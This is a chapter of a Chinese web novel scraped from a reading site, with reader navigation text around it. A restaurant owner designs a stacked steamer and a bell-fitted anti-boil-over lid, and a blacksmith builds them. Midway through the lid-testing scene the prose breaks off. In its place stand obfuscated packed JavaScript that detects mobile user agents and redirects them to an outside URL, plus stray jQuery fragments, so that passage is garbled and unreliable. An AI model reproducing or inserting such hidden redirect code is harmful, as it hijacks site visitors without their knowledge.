默认冷灰
24号文字
方正启体

61. 第 61 章

作者:临江尔本书字数:K更新时间:
    自那日后,陆珩许久未出现过。


    起初苏婉音只以为是宋潮生小心眼想太多,久而久之才恍惚反应过来或许这个年代隐晦的喜欢便是这个样子,只是她还保留着现代的习惯,以为自己只是交了一个好朋友。


    ……


    清晨,天光微亮,苏记饭馆的后院里已经飘起袅袅炊烟。


    苏婉音正站在灶台前,额上沁出细密的汗珠,她手里握着一把特制的大锅铲,正费力地搅动着一大锅即将熬好的红豆沙。


    旁边,春香婶在包着包子,动作麻利,但眉宇间也带着一丝疲色。


    “阿姐,给你毛巾。”小宝踮着脚,递过来一块干净的湿毛巾。


    苏婉音接过毛巾擦了擦汗,看着锅里咕嘟冒泡的红豆沙,又瞥了一眼旁边蒸笼上升腾的白汽,轻轻叹了口气。


    金汤面一经推出,生意比她预想的还要红火,每天早上,排队买包子豆浆的队伍能从店门口一直延伸到街角;中午来吃面条和简餐的工人、干部更是络绎不绝,几张桌子总是坐得满满当当;下午的卤味和糖水也供不应求,往往不到傍晚就售罄。


    生意好是好事,但现在的问题是她们的产出跟不上需求,即使宋潮生回来帮忙也用处不大。


    “婉音,这第三笼包子快好了,可是第一笼的客人还在等着他们的豆浆呢。”春香婶一边飞快地捏着包子褶,一边提醒道。


    苏婉音点点头,看向旁边那口专门用来煮豆浆的大锅,豆浆需要小火慢煮,还要有人时刻盯着防止溢锅,占用了她大量的时间和精力,而蒸包子、馒头用的还是那种老式的单层蒸笼,一笼只能蒸出有限的数量,为了满足需求,她们不得不反复上笼、下笼,不仅劳动强度大,也让顾客等待的时间变长。


    “这样下去可不行。”苏婉音喃喃自语,她环顾这个小小的后院,灶台是简陋的土灶,工具也都是最普通的器具,都是一开始简单购置的,但现在很明显工具的简陋不仅让她和春香婶疲于奔命,还限制了饭馆的发展,已经很久没有研究新菜式了!


    她想起在御厨房时,面对暴君那苛刻的要求和庞大的供餐量,她不得不绞尽脑汁在工具和流程上做文章,那时,她曾指导工匠改良过一种多层的蒸屉,也曾设计过可以同时控制火力的灶眼……


    记忆的闸门打开,一个念头如同电光石火般闪过脑海。


    “春香婶,你看一会儿火,我进去画点东西。”苏婉音放下锅铲,快步走进里屋,找出了弟弟小宝写字用的铅笔和一本废弃的账本。


    她在空白页上飞快地勾勒起来,首先画的是一组叠在一起的蒸笼,但与现在使用的单层不同,她画的是连体的多层蒸笼,每一层之间用带孔的隔板分开,底部有统一的蒸汽通道。


    “这样一次就能蒸出三五倍的包子……”她一边画一边低语,眼神专注。


    接着,她的目光落在了那口煮豆浆的锅上,一直盯着防止溢锅太耗费人力。


    她蹙眉思索片刻,笔下渐渐出现了一个奇特的锅盖设计,锅盖中央有一个可开合的气孔,旁边连接着一个类似天平的小装置,一端是个小铃铛,另一端则悬空。


    “当锅内蒸汽压力过大,欲使汤汁上涌时,蒸汽会优先顶开这个气孔装置,带动铃铛发出响声提醒,同时泄去部分压力……应当能有效防止溢锅?”


    这种设计能否在这个时代实现,她心里也没底。


    画完草图,窗外已是天光大亮,前院传来了顾客的喧哗声。


    苏婉音将草图小心地收好,深吸一口气,重新投入了早晨的忙碌之中,直到下午客流稍缓,她跟小梅交代了一声,便揣着草图出了门,直奔镇东头的李记铁匠铺。


    李铁匠是个五十多岁的老汉,皮肤黝黑,身材壮实,正带着儿子徒弟在铺子里叮叮当当地打铁。


    见到苏婉音进来,他停下手中的活计,擦了把汗:“苏老板,怎么有空过来了?是锅坏了还是刀钝了?”


    苏婉音如今在镇上也算是个小名人了,李铁匠自然也认得她。


    “李大叔,锅和刀都好着呢。”苏婉音笑着递上自己包好的几个肉包子,“今天做多了些,给您和李大哥尝尝。”


    李铁匠推辞不过,接过包子,脸色更加和蔼:“你这丫头,总是这么客气,有事直说吧。”


    苏婉音这才拿出那几张草图,铺在旁边的木凳上:“李大叔,您看这几样东西,能打出来吗?”


    李铁匠凑过去,眯着眼仔细看了半天,越看眉头皱得越紧:“丫头,你这画的是啥?这蒸笼怎么叠这么多层?还有这个带铃铛的锅盖……这,这太古怪了。”


    “李大叔,”苏婉音早有心理准备,耐心解释道,“这多层蒸笼是为了一次能多蒸些包子馒头,省时省力,这个锅盖……”她顿了顿,“是为了煮豆浆、粥的时候能自动提醒,不用人一直盯着,防止溢锅。”


    “自动提醒?”李铁匠的儿子,一个二十出头的年轻后生也好奇地凑过来看,眼里有些惊奇,“苏老板,你这想法挺巧啊!爹,我觉得这个锅盖说不定能行!”


    李铁匠瞪了儿子一眼:“你懂什么!打铁是实打实的手艺,这些花里胡哨的东西,做出来不好用怎么办?费工费料!”


    苏婉音不慌不忙地说:“李大叔,我知道有风险,这样,材料和工钱我照付,就算最后不成,我也认了,就当是帮我个忙,试一试,行吗?”她语气诚恳,眼神里带着期盼和一种不容置疑的笃定。


    李铁匠看着草图,又看看苏婉音,沉吟半晌,他在这镇上打铁几十年,还是第一次有人拿着这么“稀奇”的图纸来找他。


    但苏婉音这丫头,自从不“傻”了之后,做事确实有一套,她的饭馆生意就是证明。


    或许……可以试试?


    “唉,好吧好吧!”李铁匠最终挥了挥手,“看你丫头也不容易,我就帮你捣鼓捣鼓,不过话说前头,这玩意太复杂,工钱可不便宜,而且我不敢保证一定能成。”


    “太好了!谢谢李大叔!”苏婉音脸上绽开笑容,“工钱材料该多少就多少,您尽管做。”


    她仔细地再次解释了每个部件的功能和可能的制作要点,尤其是那个防溢锅盖的原理。


    李铁匠起初还皱着眉头,听着听着,眼神也渐渐专注起来,时不时提出一两个技术上的疑问。


    离开铁匠铺时,苏婉音心里踏实了不少,李铁匠虽然起初保守,但看得出是个有经验、肯钻研的老师傅。


    等待的日子有些难熬。


    期间,苏婉音又去铁匠铺看了两次,和李铁匠沟通细节,李铁匠似乎也被这个挑战激起了好胜心,带着儿子反复试验,尤其是那个防溢锅盖的小机关,调整了好几次。


    七八天后,李铁匠的儿子兴冲冲地跑到苏记饭馆:“苏老板,做好了!我爹让你去看看!”


    苏婉音立刻放下手中的活计,跟着去了铁匠铺。


    只见铺子中央,摆放着几件闪动着金属光泽的物件,那套五层的连体蒸笼由白铁皮制成,看起来比传统的木竹蒸笼更显规整结实,层与层之间咬合紧密。


    最引人注目的还是那个防溢锅盖,主体是熟铁打造,中央的泄压和鸣响装置用了黄铜,看起来颇为精巧。


    “丫头,你来试试。”李铁匠指着旁边一个支起的小灶,上面坐着一锅水。


    苏婉音点点头,将锅盖盖上,不一会儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694105|183843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,水开始沸腾,蒸汽氤氲。


    当水位上升,即将溢出时,只听“叮”的一声清脆铃响,锅盖中央的小装置果然被顶开,泄出一股蒸汽,水位随之下降,铃铛也停止了响声。


    “成了!真的成了!”苏婉音惊喜地叫出声,脸上是抑制不住的兴奋和成就感。


    这种将脑海中的构想变为现实的感觉,甚至比做出一道美味佳肴更让她激动。


    李铁匠也捋着胡子,露出了难得的笑容:“嘿嘿,你这丫头,脑子是真活络,这东西,有点意思。”


    苏婉音付清了尾款,再三道谢,然后在李铁匠儿子的帮助下,将这几件“宝贝”小心翼翼地运回了饭馆。


    接下来的两天,苏记饭馆破天荒地挂出了“东主有事,歇业两日”的牌子。


    苏婉音请来了泥瓦匠,按照她的要求改造了灶台。


    当崭新的多层蒸笼架在改造好的灶眼上,当那个黄铜铃铛的防溢锅盖盖在豆浆锅上时,整个后厨仿佛都焕然一新。


    重新开业那天清晨,苏婉音和春香婶早早起来准备。


    效果立竿见影!


    五层蒸笼同时工作,一次性能蒸出的包子数量是以前的五倍不止,大大缩短了顾客的等待时间。


    改造后的灶台,可以一边用大火炒制中午的浇头,一边用中火炖着汤,另一边用小火温着豆浆或者粥品,井然有序。


    而那个防溢锅盖,更是让春香婶啧啧称奇:“哎呀,这可太省心了!听着铃铛响就知道没事,不用再像以前那样,眼睛都不敢眨一下地盯着了!”


    效率的提升直接反映在了营业额上,早高峰排队的时间缩短了近一半,顾客满意度更高。


    因为准备时间充足,午餐提供的菜品种类也悄悄增加了一道。


    苏婉音和春香婶的劳动强度却显著降低了,下午甚至能稍微歇息片刻。


    傍晚,宋潮生收了工像往常一样,在饭馆打烊前回来,如今他与二混子在县里商场里租了个柜台,就卖那些从南边儿进来的衣服,一块钱进货十来块钱卖出去,利润高生意还火爆,许多人抢都还抢不到呢!


    “婉音,我回来啦!”


    宋潮生提着一个袋子,苏婉音知道又是给她留的衣裳,有些无奈,“宋哥,这段时间你都给我送了很多衣裳了,我都还没穿完呢!”


    “这件不一样!真的很好看!”


    又是这句熟悉的话,苏婉音无法,只得点点头收下,“好吧好吧,那我回头试试。”


    宋潮生这才满意,端着给他留的饭菜坐在小桌上狼吞虎咽一番,先把自己喂得半饱后才放缓了速度。


    当注意到厨房的不一样后,眼睛一亮,“婉音,这就是你前两天研究的新东西呀?”


    苏婉音正在擦拭灶台,闻声回头,脸上带着轻松而明媚的笑意:“是呀!咋样,是不是看着就不一样?”


    夕阳的余晖透过窗棂,洒在她带着汗渍却神采飞扬的脸上,也洒在那些闪烁着金属光泽的新工具上。


    宋潮生看着眼前这个总是在困境中寻找出路、用智慧和双手创造生活的女子,眼睛里满是爱慕与崇敬。


    他想起第一次尝到她做的食物时的惊艳,想起她面对困难时的坚韧,如今又看到她这敢于破旧立新的巧思……


    宋潮生呆愣愣的,看傻了眼,许久才呢喃一句:“婉音,你、你怎么这么厉害啊~”


    苏婉音没听清他的话,但宋潮生的眼神里全是信赖,看着他微微一笑,心里也涌起一股暖流和踏实感,或许就是来自于家人的信赖与依靠让她敢于尝试新东西吧。


    她望向窗外渐沉的落日和袅袅炊烟,对未来充满了更多的期待。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)